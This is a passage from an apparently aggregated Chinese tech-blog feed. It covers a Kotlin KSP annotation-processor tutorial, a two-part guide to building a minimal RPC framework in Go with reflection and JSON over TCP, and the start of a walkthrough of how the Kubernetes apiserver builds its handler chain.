 * SymbolProcessorProvider 是环境的提供者,主要为我们符号处理器SymbolProcessor提供了必要的环境(SymbolProcessorEnvironment),
 * SymbolProcessorEnvironment 中最重要的是 codeGenerator 和 logger,它们的作用如下:
 * codeGenerator:用于用于生成与管理文件
 * logger:用于将日志输出到构建结果中
 */
class MySymbolProcessorProvider: SymbolProcessorProvider {
    override fun create(environment: SymbolProcessorEnvironment): SymbolProcessor {
        return MyProcessor(environment.codeGenerator, environment.logger)
    }
}

最后实现 SymbolProcessor 接口,其内部就是具体的代码实现了。代码示例如下:

class MyProcessor(
    // 用于生成代码文件的对象,通过它可以创建新的代码文件并将生成的代码写入其中
    private val codeGenerator: CodeGenerator,
    // 用于在处理过程中输出日志信息,方便调试和记录处理状态
    private val logger: KSPLogger
) : SymbolProcessor {

    companion object {
        @Volatile
        var isInit = false
    }

    /**
     * 符号处理的核心方法,负责查找使用了 TestFind 注解的函数,并生成相应的结果类。
     * @param resolver 用于解析代码符号的对象,可通过它获取代码中的各种符号信息
     * @return 返回的是一个list集合,代表着那些不需要被修改的符号,因为我们注解修饰的符号不一定都有效
     */
    override fun process(resolver: Resolver): List<KSAnnotated> {
        // 获取所有使用了 TestFind 注解的符号
        val mySymbol = resolver.getSymbolsWithAnnotation(TestFind::class.qualifiedName!!)
        // 过滤出无效的符号并存储在 ret 列表中,后续可能需要对这些无效符号进行特殊处理
        val ret = mySymbol.filter { !it.validate() }.toList()
        // 从使用 TestFind 注解的符号中筛选出函数声明的符号,并转换为 KSFunctionDeclaration 类型的列表
        val list = mySymbol.filter {
            it is KSFunctionDeclaration
        }.map {
            it as KSFunctionDeclaration
        }.toList()

        // 用于存储使用了 TestFind 注解的函数所在的类名和函数名的键值对
        val results = mutableListOf<Pair<String, String>>()
        // 遍历筛选出的函数声明列表
        list.forEach { function ->
            // 获取函数所在类的全限定名,如果获取不到则使用 "Unknown" 替代
            val className = function.parentDeclaration?.qualifiedName?.asString() ?: "Unknown"
            // 获取函数的简单名称
            val methodName = function.simpleName.asString()
            // 将类名和函数名组成的键值对添加到 results 列表中
            results.add(Pair(className, methodName))
        }

        // 在日志中输出包含使用了 TestFind 注解的函数的类名和函数名的列表
        logger.warn("list is ${results.toList()}")
        // 调用生成 TestFindResult 类的方法
        generateTestFindResultClass(results)
        // 返回无效的符号列表
        return ret
    }

    /**
     * 生成 TestFindResult 类,该类包含一个方法用于打印使用了 TestFind 注解的函数的类名和函数名。
     */
    private fun generateTestFindResultClass(results: List<Pair<String, String>>) {
        // 如果已经初始化生成过 TestFindResult 类,则直接返回,避免重复生成
        if (isInit) {
            return
        }
        // 标记为已初始化
        isInit = true

        // 使用 KotlinPoet 构建一个代码文件,指定包名和文件名
        val fileSpec = FileSpec.builder("com.example.result", "TestFindResult")
           .addType(
                // 构建 TestFindResult 类
                TypeSpec.classBuilder("TestFindResult")
                   .addFunction(
                        // 构建 printAnnotatedMethods 方法
                        FunSpec.builder("printAnnotatedMethods")
                           .addCode(buildString {
                                // 遍历 results 列表,将每个键值对的类名和函数名添加到代码字符串中
                                results.forEach { (className, methodName) ->
                                    appendLine("println(\"Class: $className, Method: $methodName\")")
                                }
                            })
                           .build()
                    )
                   .build()
            )
           .build()

        // 将构建好的代码文件写入到代码生成器中,第二个参数 false 表示不依赖其他文件
        fileSpec.writeTo(codeGenerator, false)
    }
}

对于代码结构解析,可以看到核心是 SymbolProcessorprocess 方法传递过来的 Resolver对象。我们可以通过这个对象来处理 kotlin 源代码。 具体解析 kt 源代码文件的结构如下所示:

KSFile
  packageName: KSName
  fileName: String
  annotations: List<KSAnnotation>  // 源代码文件注解
  declarations: List<KSDeclaration>
    KSClassDeclaration // 类, 接口, 对象
      simpleName: KSName
      qualifiedName: KSName
      containingFile: String
      typeParameters: KSTypeParameter
      parentDeclaration: KSDeclaration
      classKind: ClassKind
      primaryConstructor: KSFunctionDeclaration
      superTypes: List<KSTypeReference>
      // 包含内部类, 成员函数, 属性, 等等.
      declarations: List<KSDeclaration>
    KSFunctionDeclaration // 顶层函数
      simpleName: KSName
      qualifiedName: KSName
      containingFile: String
      typeParameters: KSTypeParameter
      parentDeclaration: KSDeclaration
      functionKind: FunctionKind
      extensionReceiver: KSTypeReference?
      returnType: KSTypeReference
      parameters: List<KSValueParameter>
      // 包含局部类, 局部函数, 局部变量, 等等.
      declarations: List<KSDeclaration>
    KSPropertyDeclaration // 全局变量
      simpleName: KSName
      qualifiedName: KSName
      containingFile: String
      typeParameters: KSTypeParameter
      parentDeclaration: KSDeclaration
      extensionReceiver: KSTypeReference?
      type: KSTypeReference
      getter: KSPropertyGetter
        returnType: KSTypeReference
      setter: KSPropertySetter
        parameter: KSValueParameter

对于代码生成,这里使用了 KotlinPoet 来生成对应的 kotlin 代码。关于 KotlinPoet 的使用可以看KotlinPoet 文档

定义服务

由于 ksp 是基于 java spi 机制实现,因此需要在 resource/META-INF/services 目录下定义一个com.google.devtools.ksp.processing.SymbolProcessorProvider 文件,并写入创建的创建的SymbolProcessorProvider服务的全类名。关于java spi 机制可以看 Java SPI 机制详解 | JavaGuide

屏幕截图 2025-01-31 001156.png

需要注意:在Android studio 中创建 META-INF/services 时,建议先创建 META-INF 目录,再创建 services 目录。而不是通过 META-INF.services 直接创建两个目录,否则可能会出现找不到 SymbolProcessorProvider 的问题。

使用ksp模块

完成上面的步骤后,我们就可以使用我们创建的 ksp 模块了。首先我们需要在app 的 build.gradle 中添加依赖,代码示例如下所示:

plugins {
    // 应用ksp插件
    id("com.google.devtools.ksp") version "1.9.0-1.0.11"
}
dependencies {
    // 依赖 ksp 模块
    implementation(project(":kspLib"))
    ksp(project(":kspLib"))
}

在代码中我们就可以使用 @TestFind注解,代码示例如下:

class TestClass {

    @TestFind
    fun testMethod(): Unit {

    }

}

构建执行完成后,就可以在 build/generated/ksp 目录下看到ksp 生成的结果了。如下图所示:

屏幕截图 2025-01-30 235628.png

屏幕截图 2025-01-30 235709.png

参考

by 小墙程序员 at January 30, 2025 04:20 PM

juejin backend

从零到一: 用Go语言搭建简易RPC框架并实践 (二)

在上一篇文章中,我们简单实现了一个网络通信服务。在本篇文章中,我们将在服务端实现服务注册处理客户端请求的功能。

前一篇传送门: 从零到一: 用Go语言搭建简易RPC框架并实践 (一)

项目结构

image.png

服务端代码改造

  • server.go

首先实现服务注册代码。假设我们实现了一个排序服务SortServer。这个服务实现了一个Sort方法。并且这个方法满足以下条件 (这里沿用了net/rpc源码中可以作为RPC方法的限制条件):

  1. the method’s type is exported. – 方法所属类型是导出的。
  2. the method is exported. – 方式是导出的。
  3. the method has two arguments, both exported (or builtin) types. – 两个入参,均为导出或内置类型。
  4. the method’s second argument is a pointer. – 第二个入参必须是一个指针。
  5. the method has return type error. – 返回值为 error 类型。

我们就认为这个Sort方法作为SortServer服务对外提供的方法

image.png

服务注册代码如下 image.png

image.png

image.png

首先定义了一个service结构体,用于记录SortServer的相关信息。name字段存储服务名,这里是"SortServer";rcvr记录SortServer结构体指针的反射值(reflect.Value)信息;typ记录SortServer结构体指针的反射类型(reflect.Type)信息;method记录SortServer可作为RPC的函数方法,比如这里的Sort方法。

method哈希表的Value定义为一个methodType结构体。里面定义了调用RPC方法需要的所有信息,包括方法本身method,方法的第一个参数的类型ArgType,方法的第二个参数类型ReplyType。之后利用反射提供的相关方法,可以很轻松的实现对应方法名的函数调用。

先前的Server结构体没有成员变量,本次我们为它新增一个serviceMap字段,用于注册服务。在(*Server).register中,定义了一个registerMethods方法。将服务名为s.name的所有PRC方法,注册到了server.serviceMap当中,从而实现了服务注册功能。

接着修改ServeConn代码如下。之前只是简单解析了客户端传给服务端的消息,现在注册的serviceMap当中,找到客户端想要调用的服务方法,调用函数,传入客户端的函数请求参数,得到函数的执行结果,组装成response写入连接当中,返回给客户端。

image.png

  • server_main.go

实现服务注册功能后,需要修改server_main.go文件,在处理连接请求前将定义的服务注册好,等待客户端调用相关方法。 image.png

完整源码

  • server.go
package gopher_rpc

import (
    "bufio"
    "encoding/json"
    "fmt"
    "io"
    "reflect"
    "strings"
    "sync"
)

type Server struct {
    serviceMap sync.Map // map[string]*service 注册服务时新增的字段
}

func NewServer() *Server {
    return &Server{}
}

var DefaultServer = NewServer()

type Request struct {
    Method string      `json:"method"`
    Args   interface{} `json:"args"`
}

func (server *Server) ServeConn(conn io.ReadWriteCloser) {
    defer conn.Close()
    reader := bufio.NewReader(conn)
    for {
       message, err := reader.ReadString('\n')
       if err != nil {
          if err == io.EOF {
             break
          }
          fmt.Printf("读取数据时出错: %v\n", err)
          return
       }

       var request Request
       err = json.Unmarshal([]byte(message), &request)
       if err != nil {
          fmt.Printf("反序列化 JSON 数据时出错: %v\n", err)
          return
       }
       serviceMethodName := request.Method
       dot := strings.LastIndexByte(serviceMethodName, '.')
       if dot < 0 {
          fmt.Printf("无效的方法名: %s\n", serviceMethodName)
       }
       serviceName := serviceMethodName[:dot]
       methodName := serviceMethodName[dot+1:]

       /* 旧代码把客户端发送的服务名,方法名,参数全部组装成消息返回回去
       // 约定好以\n作为消息结尾
       response := fmt.Sprintf("serviceName:%s, methodName:%s, request.Arg:%#v \n ", serviceName, methodName, request.Args)
       */
       svcInterface, ok := server.serviceMap.Load(serviceName)
       if !ok {
          fmt.Printf("未找到服务: %s\n", serviceName)
          return
       }
       svc, ok := svcInterface.(*service)
       if !ok {
          fmt.Printf("服务类型错误: %s\n", serviceName)
          return
       }
       mtype, ok := svc.method[methodName]
       if !ok {
          fmt.Printf("未找到方法: %s.%s\n", serviceName, methodName)
          return
       }
       // 根据方法的 ArgType 创建具体的 Args 实例
       argv := reflect.New(mtype.ArgType.Elem())

       // 将 request.Args 反序列化到 argv 中
       bs, err := json.Marshal(request.Args)
       if err != nil {
          fmt.Printf("序列化请求参数时出错: %v\n", err)
          return
       }
       err = json.Unmarshal(bs, argv.Interface())
       if err != nil {
          fmt.Printf("反序列化请求参数时出错: %v\n", err)
          return
       }

       replyv := reflect.New(mtype.ReplyType.Elem())
       results := mtype.method.Func.Call([]reflect.Value{svc.rcvr, argv, replyv})
       if len(results) > 0 && !results[0].IsNil() {
          fmt.Printf("调用方法出错: %v\n", results[0].Interface())
          return
       }
       reply := replyv.Elem().Interface()
       // 约定好以\n作为消息结尾
       response := fmt.Sprintf(" %v \n", reply)

       _, err = conn.Write([]byte(response))
       if err != nil {
          fmt.Printf("发送响应时出错: %v\n", err)
          return
       }
    }
}

func ServerConn(conn io.ReadWriteCloser) {
    DefaultServer.ServeConn(conn)
}

// =========服务注册代码=============//
type service struct {
    name   string                 // name of service
    rcvr   reflect.Value          // receiver of methods for the service
    typ    reflect.Type           // type of the receiver
    method map[string]*methodType // registered methods
}

type methodType struct {
    method    reflect.Method
    ArgType   reflect.Type
    ReplyType reflect.Type
}

func Register(rcvr any) {
    DefaultServer.register(rcvr)
}

func (server *Server) register(rcvr any) error {
    s := new(service)
    s.typ = reflect.TypeOf(rcvr)
    s.rcvr = reflect.ValueOf(rcvr)
    s.name = reflect.Indirect(s.rcvr).Type().Name()
    s.method = registerMethods(s.typ)
    server.serviceMap.Store(s.name, s)
    return nil
}

func registerMethods(typ reflect.Type) map[string]*methodType {
    methods := make(map[string]*methodType)
    // for循环遍历方法
    for i := 0; i < typ.NumMethod(); i++ {
       method := typ.Method(i)
       mtype := method.Type
       mname := method.Name
       /*
          对 net/rpc 而言,一个函数需要能够被远程调用,需要满足如下五个条件:
          1. the method’s type is exported. – 方法所属类型是导出的。
          2. the method is exported. – 方式是导出的。
          3. the method has two arguments, both exported (or builtin) types. – 两个入参,均为导出或内置类型。
          4. the method’s second argument is a pointer. – 第二个入参必须是一个指针。
          5. the method has return type error. – 返回值为 error 类型。
          此处沿用这个逻辑,只有满足这些条件的函数才可以被远程调用,记录到methods中
       */
       if method.IsExported() && mtype.NumIn() == 3 && mtype.NumOut() == 1 {
          argType := mtype.In(1) // 获取方法的第一个参数类型
          if argType.Kind() == reflect.Ptr {
             argType = argType.Elem() // 如果时指针类型,获取其指向的实际类型
          }
          if argType.Kind() != reflect.Struct {
             continue // 如果参数类型不是结构体,跳过该方法
          }

          methods[mname] = &methodType{
             method:    method,
             ArgType:   mtype.In(1), // 保持原始类型(可能是指针类型)
             ReplyType: mtype.In(2),
          }

       }
    }
    return methods
}
  • client.go(无修改)
package gopher_rpc

import (
    "bufio"
    "fmt"
    "net"
)

type Client struct {
    conn     net.Conn
    reader   *bufio.Reader
    done     chan struct{}
    errChan  chan error
    Response string
}

// Dail 用于建立与服务器的连接
func Dial(network, address string) (*Client, error) {
    conn, err := net.Dial(network, address)
    if err != nil {
       return nil, fmt.Errorf("无法连接到服务器 %s: %v", address, err)
    }
    client := &Client{
       conn:    conn,
       reader:  bufio.NewReader(conn),
       done:    make(chan struct{}), // 无缓冲channel
       errChan: make(chan error, 1),
    }
    // 开一个协程接受服务端返回
    go client.receive()
    return client, nil
}

func (c *Client) receive() {
    defer close(c.done)
    defer close(c.errChan)
    response, err := c.reader.ReadString('\n')
    if err != nil {
       c.errChan <- fmt.Errorf("接收服务器响应时出错:%v", err.Error())
       return
    }
    c.Response = response
    c.done <- struct{}{}
}

// Call 方法用于向服务端发送消息并等待响应(创建Client时开了个协程去接受服务端响应)
func (c *Client) Call(serviceMethod string) error {
    doneChan := c.Go(serviceMethod)
    select {
    case <-doneChan:
       return nil
    case err := <-c.errChan:
       return err
    }
}

func (c *Client) Go(serviceMethod string) chan struct{} {
    _, err := c.conn.Write([]byte(serviceMethod + "\n"))
    if err != nil {
       c.errChan <- fmt.Errorf("发送消息时出错: %v", err)
       close(c.done)
       close(c.errChan)
       return nil
    }
    return c.done
}

// Close 方法用于关闭客户端连接
func (c *Client) Close() error {
    if c.conn != nil {
       return c.conn.Close()
    }
    return nil
}

服务调用示例

示例一

定义运算服务ArithServer,并实现Add方法。

  • server_main.go
package main

import (
    "fmt"
    "gopher_rpc"
    "net"
)

type ArithServer struct{}

type Args struct {
    Num1 int `json:"num_1"`
    Num2 int `json:"num_2"`
}

func (s *ArithServer) Add(args *Args, reply *int) error {
    *reply = args.Num1 + args.Num2
    return nil
}

func main() {
    gopher_rpc.Register(new(ArithServer)) // 注册服务

    listener, err := net.Listen("tcp", ":8888")
    if err != nil {
       fmt.Printf("监听端口时出错:%v\n", err)
       return
    }
    defer listener.Close()
    fmt.Println("ArithServer is listening on port 8888....")
    for {
       conn, err := listener.Accept()
       if err != nil {
          fmt.Printf("接收连接时出错:%v\n", err)
          continue
       }
       // 开一个go协程,异步处理连接请求
       go gopher_rpc.ServerConn(conn)
    }
}
  • client_main.go
package main

import (
    "encoding/json"
    "fmt"
    "gopher_rpc"
)

type ServiceMethod struct {
    Method string `json:"method"`
    Args   Args   `json:"args"`
}

type Args struct {
    Num1 int `json:"num_1"`
    Num2 int `json:"num_2"`
}

func main() {
    // 连接到服务端
    client, err := gopher_rpc.Dial("tcp", "127.0.0.1:8888")
    if err != nil {
       fmt.Println(err)
       return
    }
    defer client.Close()

    param := &ServiceMethod{
       Method: "ArithServer.Add", // 调用ArithServer服务的Add方法
       Args: Args{
          Num1: 10,
          Num2: 20,
       },
    }
    bs, _ := json.Marshal(param)
    if err = client.Call(string(bs)); err != nil {
       fmt.Println(err)
       return
    }
    fmt.Printf("ArithServer.Add:  %d + %d = %s", param.Args.Num1, param.Args.Num2, client.Response)
}

服务端运行

image.png

客户端发起RPC调用,并打印执行结果

image.png

示例二

定义排序服务SortServer,并实现Sort方法。

  • server_main.go
package main

import (
    "fmt"
    "gopher_rpc"
    "net"
    "sort"
)

type SortServer struct{}

type Args struct {
    Nums []int `json:"nums"`
}

func (s *SortServer) Sort(args *Args, reply *[]int) error {
    sort.Ints(args.Nums)
    *reply = args.Nums
    return nil
}

func main() {
    gopher_rpc.Register(new(SortServer)) // 注册服务

    listener, err := net.Listen("tcp", ":8888")
    if err != nil {
       fmt.Printf("监听端口时出错:%v\n", err)
       return
    }
    defer listener.Close()
    fmt.Println("SortServer is listening on port 8888....")
    for {
       conn, err := listener.Accept()
       if err != nil {
          fmt.Printf("接收连接时出错:%v\n", err)
          continue
       }
       // 开一个go协程,异步处理连接请求
       go gopher_rpc.ServerConn(conn)
    }
}
  • client_main.go
package main

import (
    "encoding/json"
    "fmt"
    "gopher_rpc"
)

type ServiceMethod struct {
    Method string `json:"method"`
    Args   Args   `json:"args"`
}

type Args struct {
    Nums []int `json:"nums"`
}

func main() {
    // 连接到服务端
    client, err := gopher_rpc.Dial("tcp", "127.0.0.1:8888")
    if err != nil {
       fmt.Println(err)
       return
    }
    defer client.Close()

    param := &ServiceMethod{
       Method: "SortServer.Sort", // 调用SortServer服务的Sort方法
       Args: Args{
          Nums: []int{1, 5, 6, 4, 2},
       },
    }
    bs, _ := json.Marshal(param)
    if err = client.Call(string(bs)); err != nil {
       fmt.Println(err)
       return
    }
    fmt.Printf("排序后的结果: %s", client.Response)
}

服务端运行

image.png

客户端发起RPC调用,并打印执行结果

image.png

总结

通过这个系列,我们使用了200多行Go代码,实现了一个简易的RPC框架。当然了,这个简易的RPC框架,从严格意义上来说并不能称作为框架,其实现的服务功能非常脆弱,许多细节实现也比较简单粗暴。当然博主的本意也只是想去除net/rpc源码的细节,发掘RPC的本质,把最原始的RPC服务功能展现给大家。

希望这个系列文章,可以帮助到屏幕前的你更好地理解RPC是怎么工作的。如果对你有所帮助,欢迎收藏+关注,你的支持是我创作的最大动力!

by gopher_looklook at January 30, 2025 03:55 PM

从零到一: 用Go语言搭建简易RPC框架并实践 (一)

🐉大家好,我是gopher_looklook,现任某独角兽企业Go语言工程师,喜欢钻研Go源码,发掘各项技术在大型Go微服务项目中的最佳实践,期待与各位小伙伴多多交流,共同进步!

前言

最近在读Go语言的net/rpc源码,感觉源码涉及到了太多细节和错误处理,层层嵌套的函数调用关系错综复杂,难以窥见RPC框架的本质。

其实对于一个RPC (Remote Procedure Call 远程过程调用) 框架,我认为最核心的功能有2点:

  1. 客户端与服务端通信。
  2. 服务端注册服务,并处理客户端请求。

举个例子,这段代码定义了一个简单的SortServer服务,并提供了一个简单的排序功能Sort。当我们希望其他程序可以跨服务调用我们写的Sort方法时,需要实现的最核心的功能就是实现不同应用程序间的通信,并且将服务端的SortServer服务注册到一个地方,以随时响应客户端调用服务方法获取执行结果的请求。

image.png

这个系列将分成两篇文章。

第一篇实现服务端与客户端通信。服务端与客户端协商,约定使用固定的JSON数据格式进行通信。客户端将消息发送给服务端,服务端简单将得到的消息简单组装,返回给客户端。

第二篇在服务端实现服务注册功能,并修改解析客户端请求的函数逻辑,将客户端发送过来的消息转化为具体的服务调用请求,在注册的服务列表中找到对应的服务,利用反射实现服务功能调用,将执行结果返回给客户端。

话不多说,下面让我们开始动手搭建RPC框架吧!

服务端客户端通信

为了方便演示效果,新创建一个Go项目gopher-rpc。

消息格式约定

  • 服务端与客户端消息格式
type Request struct {
    Method string      `json:"method"`
    Args   interface{} `json:"args"`
}

Method表示要调用的服务名方法,比如“SortServer.Sort”表示想要调用的是SortServer服务的Sort方法;“ArithServer.Add”则表示想要调用的是ArithServer服务的Add方法。由于不知道具体请求参数的个数和类型,因此Args暂时用空切片interface{}类型表示即可。

  • 消息结束分隔符

约定好以\n作为消息结束的标志。

项目结构

image.png

其中server.goclient.go用于编写RPC框架的代码,在main文件夹下建一个basic包,用于演示基本的服务端与客户端的通信功能。

框架源码1.0

  • server.go
package gopher_rpc

import (
    "bufio"
    "encoding/json"
    "fmt"
    "io"
    "strings"
)

type Server struct{}

func NewServer() *Server {
    return &Server{}
}

var DefaultServer = NewServer()

type Request struct {
    Method string      `json:"method"`
    Args   interface{} `json:"args"`
}

func (server *Server) ServeConn(conn io.ReadWriteCloser) {
    defer conn.Close()
    reader := bufio.NewReader(conn)
    for {
       message, err := reader.ReadString('\n')
       if err != nil {
          if err == io.EOF {
             break
          }
          fmt.Printf("读取数据时出错: %v\n", err)
          return
       }

       var request Request
       err = json.Unmarshal([]byte(message), &request)
       if err != nil {
          fmt.Printf("反序列化 JSON 数据时出错: %v\n", err)
          return
       }
       serviceMethodName := request.Method
       dot := strings.LastIndexByte(serviceMethodName, '.')
       if dot < 0 {
          fmt.Printf("无效的方法名: %s\n", serviceMethodName)
       }
       serviceName := serviceMethodName[:dot]
       methodName := serviceMethodName[dot+1:]

       // 约定好以\n作为消息结尾
       response := fmt.Sprintf("serviceName:%s, methodName:%s, request.Arg:%#v \n ", serviceName, methodName, request.Args)
       _, err = conn.Write([]byte(response))
       if err != nil {
          fmt.Printf("发送响应时出错: %v\n", err)
          return
       }
    }
}

func ServerConn(conn io.ReadWriteCloser) {
    DefaultServer.ServeConn(conn)
}

在server.go中,首先定义了一个Server结构体,用来承载服务端提供的功能。接着定义了一个默认Server———DefaultServer。Server指针实现了一个处理连接请求conn的函数ServerConn。在ServerConn函数中,利用bufio包提供的相关功能,从conn中读取到客户端发送过来的请求消息message,接着使用JSON反序列化成约定好的消息体格式。解析出客户端消息中请求的MethodArgs。之后把消息中的服务名、方法名、参数重新组装成一条消息响应response。利用conn.Write函数向网络连接中写入请求,等待客户端接收。同时提供了一个全局的ServerConn函数,调用DefaultServer.ServeConn方法,供服务端使用。

  • client.go
package gopher_rpc

import (
    "bufio"
    "fmt"
    "net"
)

type Client struct {
    conn     net.Conn
    reader   *bufio.Reader
    done     chan struct{}
    errChan  chan error
    Response string
}

// Dail 用于建立与服务器的连接
func Dial(network, address string) (*Client, error) {
    conn, err := net.Dial(network, address)
    if err != nil {
       return nil, fmt.Errorf("无法连接到服务器 %s: %v", address, err)
    }
    client := &Client{
       conn:    conn,
       reader:  bufio.NewReader(conn),
       done:    make(chan struct{}), // 无缓冲channel
       errChan: make(chan error, 1),
    }
    // 开一个协程接受服务端返回
    go client.receive()
    return client, nil
}

func (c *Client) receive() {
    defer close(c.done)
    defer close(c.errChan)
    response, err := c.reader.ReadString('\n')
    if err != nil {
       c.errChan <- fmt.Errorf("接收服务器响应时出错:%v", err.Error())
       return
    }
    c.Response = response
    c.done <- struct{}{}
}

// Call 方法用于向服务端发送消息并等待响应(创建Client时开了个协程去接受服务端响应)
func (c *Client) Call(serviceMethod string) error {
    doneChan := c.Go(serviceMethod)
    select {
    case <-doneChan:
       return nil
    case err := <-c.errChan:
       return err
    }
}

func (c *Client) Go(serviceMethod string) chan struct{} {
    _, err := c.conn.Write([]byte(serviceMethod + "\n"))
    if err != nil {
       c.errChan <- fmt.Errorf("发送消息时出错: %v", err)
       close(c.done)
       close(c.errChan)
       return nil
    }
    return c.done
}

// Close 方法用于关闭客户端连接
func (c *Client) Close() error {
    if c.conn != nil {
       return c.conn.Close()
    }
    return nil
}

在client.go中,首先定义了一个Client结构体,封装了一些跟网络请求与处理相关的字段。接着提供了一个对外暴露的Dial方法。用于连接到服务端。在Dial方法返回Client之前,还开了一个Go协程,用于监听和接收服务端发送过来的消息;若成功读取到消息,会往无缓冲channel字段done中发送一个空结构体,这样做的目的是为了当receive协程接收到服务端消息时,可以利用无缓冲通道done通知给主程序。Client结构体指针还提供了一个Call方法,Call方法调用了Go方法,用于往conn中写入消息发送给服务端,并返回无缓冲通道done。Client.Call方法调用完Go方法后,使用select监听两个通道client.doneclient.errChan。若发生错误,则返回相应的error。如果没有错误,则监听client.done通道。若之前的receive协程成功读取到了服务端响应。<-doneChan将不再阻塞,Call函数正常退出,服务端返回的响应数据存储在Client结构体的Response字段当中。

实战服务端客户端通信

  • 服务端监听请求

server_main.go

package main

import (
    "fmt"
    "gopher_rpc"
    "net"
)

func main() {
    listener, err := net.Listen("tcp", ":8888")
    if err != nil {
       fmt.Printf("监听端口时出错:%v\n", err)
       return
    }
    defer listener.Close()
    fmt.Println("Server is listening on port 8888....")
    for {
       conn, err := listener.Accept()
       if err != nil {
          fmt.Printf("接收连接时出错:%v\n", err)
          continue
       }
       // 开一个go协程,异步处理连接请求
       go gopher_rpc.ServerConn(conn)
    }
}
  • 客户端发送数据并打印响应结果

client_main.go

package main

import (
    "encoding/json"
    "fmt"
    "gopher_rpc"
)

type ServiceMethod struct {
    Method string `json:"method"`
    Args   Args   `json:"args"`
}

type Args struct {
    Num1 int64 `json:"num_1"`
    Num2 int64 `json:"num_2"`
}

func main() {
    // 连接到服务端
    client, err := gopher_rpc.Dial("tcp", "127.0.0.1:8888")
    if err != nil {
       fmt.Println(err)
       return
    }
    defer client.Close()

    param := &ServiceMethod{
       Method: "ArithServer.Add", // 可以表示想调用ArithServer服务的Add方法
       Args: Args{
          Num1: 10,
          Num2: 20,
       }, // 可以表示两个参数,一个是10,一个是20
    }
    bs, _ := json.Marshal(param)
    if err = client.Call(string(bs)); err != nil {
       fmt.Println(err)
       return
    }
    fmt.Printf("客户端接收的数据: %s", client.Response)
}

程序运行

  • 服务端

image.png

  • 客户端

image.png

从运行结果可以看到,服务端正常解析出了客户端请求的服务名、方法名和参数,并重新组装消息,简单地返回给了客户端。说明我们实现了服务端与客户端的通信。

未完待续

在下一篇文章中,我们将修改server.go实现服务注册处理客户端请求的功能。

下一篇传送门: 从零到一: 用Go语言搭建简易RPC框架并实践 (二)

by gopher_looklook at January 30, 2025 03:52 PM

Kubernetes 系列 - 5. apiserver(二、创建处理链)

5. apiserver(二、创建处理链)

5.1 主流程

// Run runs the specified APIServer.  This should never exit.
func Run(opts options.CompletedOptions, stopCh <-chan struct{}) error {
    // To help debugging, immediately log version
    klog.Infof("Version: %+v", version.Get())

    klog.InfoS("Golang settings", "GOGC", os.Getenv("GOGC"), "GOMAXPROCS", os.Getenv("GOMAXPROCS"), "GOTRACEBACK", os.Getenv("GOTRACEBACK"))

    config, err := NewConfig(opts)
    if err != nil {
       return err
    }
    completed, err := config.Complete()
    if err != nil {
       return err
    }
    server, err := CreateServerChain(completed)
    if err != nil {
       return err
    }

    prepared, err := server.PrepareRun()
    if err != nil {
       return err
    }

    return prepared.Run(stopCh)
}

apiserver 主要由三个server组成:

  • aggregatorServer: 处理请求的第一部分,可以接入自定义的apiserver,其他请求转到kubeApiServer;
  • kubeApiServer: 处理请求的主要部分,通用资源的请求基本都在这里处理,其他请求转到apiExtensionsServer;
  • apiExtensionsServer: 处理自定义资源的请求,无法处理的请求返回404;
aggregatorServer -> kubeApiServer -> apiExtensionsServer -> notFound
      |
      v
customApiServer

5.2 创建配置

// NewConfig creates all the resources for running kube-apiserver, but runs none of them.
func NewConfig(opts options.CompletedOptions) (*Config, error) {
    c := &Config{
       Options: opts,
    }

    // 1. 创建 apiserverConfig
    controlPlane, serviceResolver, pluginInitializer, err := CreateKubeAPIServerConfig(opts)
    if err != nil {
       return nil, err
    }
    c.ControlPlane = controlPlane

    // 2. 创建 apiExtensionsConfig
    apiExtensions, err := apiserver.CreateAPIExtensionsConfig(*controlPlane.GenericConfig, controlPlane.ExtraConfig.VersionedInformers, pluginInitializer, opts.CompletedOptions, opts.MasterCount,
       serviceResolver, webhook.NewDefaultAuthenticationInfoResolverWrapper(controlPlane.ExtraConfig.ProxyTransport, controlPlane.GenericConfig.EgressSelector, controlPlane.GenericConfig.LoopbackClientConfig, controlPlane.GenericConfig.TracerProvider))
    if err != nil {
       return nil, err
    }
    c.ApiExtensions = apiExtensions

    // 3. 创建 aggregatorConfig
    aggregator, err := createAggregatorConfig(*controlPlane.GenericConfig, opts.CompletedOptions, controlPlane.ExtraConfig.VersionedInformers, serviceResolver, controlPlane.ExtraConfig.ProxyTransport, controlPlane.ExtraConfig.PeerProxy, pluginInitializer)
    if err != nil {
       return nil, err
    }
    c.Aggregator = aggregator

    return c, nil
}

这里主要依托GenericConfig创建三个server的config。

5.3 创建处理链

// CreateServerChain creates the apiservers connected via delegation.
func CreateServerChain(config CompletedConfig) (*aggregatorapiserver.APIAggregator, error) {
    // 1. 最后处理handler,返回404
    notFoundHandler := notfoundhandler.New(config.ControlPlane.GenericConfig.Serializer, genericapifilters.NoMuxAndDiscoveryIncompleteKey)
    
    // 2. 创建apiExtensionsServer
    apiExtensionsServer, err := config.ApiExtensions.New(genericapiserver.NewEmptyDelegateWithCustomHandler(notFoundHandler))
    if err != nil {
       return nil, err
    }
    crdAPIEnabled := config.ApiExtensions.GenericConfig.MergedResourceConfig.ResourceEnabled(apiextensionsv1.SchemeGroupVersion.WithResource("customresourcedefinitions"))

    // 3. 创建kubeApiServer
    kubeAPIServer, err := config.ControlPlane.New(apiExtensionsServer.GenericAPIServer)
    if err != nil {
       return nil, err
    }

    // 4. 创建aggregatorServer
    // aggregator comes last in the chain
    aggregatorServer, err := createAggregatorServer(config.Aggregator, kubeAPIServer.GenericAPIServer, apiExtensionsServer.Informers, crdAPIEnabled)
    if err != nil {
       // we don't need special handling for innerStopCh because the aggregator server doesn't create any go routines
       return nil, err
    }

    return aggregatorServer, nil
}

5.3.1 创建apiExtensionsServer

image.png

相关代码如下:

// New returns a new instance of CustomResourceDefinitions from the given config.
func (c completedConfig) New(delegationTarget genericapiserver.DelegationTarget) (*CustomResourceDefinitions, error) {
    // 1. 利用notFoundHandler创建genericServer
    genericServer, err := c.GenericConfig.New("apiextensions-apiserver", delegationTarget)
    
    // 2. 配置crd group和storage,并调用installAPIGroup
    apiGroupInfo := genericapiserver.NewDefaultAPIGroupInfo(apiextensions.GroupName, Scheme, metav1.ParameterCodec, Codecs)
    storage := map[string]rest.Storage{}
    // customresourcedefinitions
    if resource := "customresourcedefinitions"; apiResourceConfig.ResourceEnabled(v1.SchemeGroupVersion.WithResource(resource)) {
       customResourceDefinitionStorage, err := customresourcedefinition.NewREST(Scheme, c.GenericConfig.RESTOptionsGetter)
       if err != nil {
          return nil, err
       }
       storage[resource] = customResourceDefinitionStorage
       storage[resource+"/status"] = customresourcedefinition.NewStatusREST(Scheme, customResourceDefinitionStorage)
    }
    if len(storage) > 0 {
